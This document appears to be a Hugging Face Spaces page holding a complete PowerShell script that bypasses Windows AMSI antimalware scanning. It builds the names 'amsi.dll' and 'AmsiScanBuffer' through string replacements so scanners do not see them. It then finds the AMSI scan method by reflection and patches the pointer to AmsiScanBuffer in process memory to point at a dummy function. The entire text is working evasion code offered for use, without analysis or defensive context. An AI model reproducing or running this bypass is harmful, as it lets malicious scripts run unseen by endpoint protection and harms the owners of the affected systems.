Spaces:
Runtime error
Runtime error
function PisyunEnota { | |
param( | |
$InitialStart = 0x50000, | |
$NegativeOffset= 0x50000, | |
$MaxOffset = 0x1000000, | |
$ReadBytes = 0x50000 | |
) | |
$APIs = @" | |
using System; | |
using System.ComponentModel; | |
using System.Management.Automation; | |
using System.Reflection; | |
using System.Runtime.CompilerServices; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
public class APIs { | |
[DllImport("kernel32.dll")] | |
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr GetCurrentProcess(); | |
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32.dll", CharSet=CharSet.Auto)] | |
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName); | |
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] | |
public static int Dummy() { | |
return 1; | |
} | |
} | |
"@ | |
Add-Type $APIs | |
$InitialDate=Get-Date; | |
$string = 'hello, world' | |
$string = $string.replace('he','a') | |
$string = $string.replace('ll','m') | |
$string = $string.replace('o,','s') | |
$string = $string.replace(' ','i') | |
$string = $string.replace('wo','.d') | |
$string = $string.replace('rld','ll') | |
$string2 = 'hello, world' | |
$string2 = $string2.replace('he','A') | |
$string2 = $string2.replace('ll','m') | |
$string2 = $string2.replace('o,','s') | |
$string2 = $string2.replace(' ','i') | |
$string2 = $string2.replace('wo','Sc') | |
$string2 = $string2.replace('rld','an') | |
$string3 = 'hello, world' | |
$string3 = $string3.replace('hello','Bu') | |
$string3 = $string3.replace(', ','ff') | |
$string3 = $string3.replace('world','er') | |
$Address = [APIS]::GetModuleHandle($string) | |
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3) | |
$Assemblies = [appdomain]::currentdomain.getassemblies() | |
$Assemblies | | |
ForEach-Object { | |
if($_.Location -ne $null){ | |
$split1 = $_.FullName.Split(",")[0] | |
If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) { | |
$Types = $_.GetTypes() | |
} | |
} | |
} | |
$Types | | |
ForEach-Object { | |
if($_.Name -ne $null){ | |
If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) { | |
$Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic') | |
} | |
} | |
} | |
$Methods | | |
ForEach-Object { | |
if($_.Name -ne $null){ | |
If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) { | |
$MethodFound = $_ | |
} | |
} | |
} | |
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer() | |
[IntPtr] $Handle = [APIs]::GetCurrentProcess() | |
$dummy = 0 | |
$ApiReturn = $false | |
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){ | |
[IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j | |
$ReadedMemoryArray = [byte[]]::new($ReadBytes) | |
$ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy) | |
for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) { | |
$bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7]) | |
[IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0) | |
if ($PointerToCompare -eq $funcAddr) { | |
Write-Host "Found @ $($i)!" | |
[IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i | |
break initialloop | |
} | |
} | |
} | |
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer() | |
$buf = [IntPtr[]] ($DummyPointer) | |
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1) | |
$FinishDate=Get-Date; | |
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds; | |
Write-Host "oke: $TimeElapsed seconds" | |
};PisyunEnota |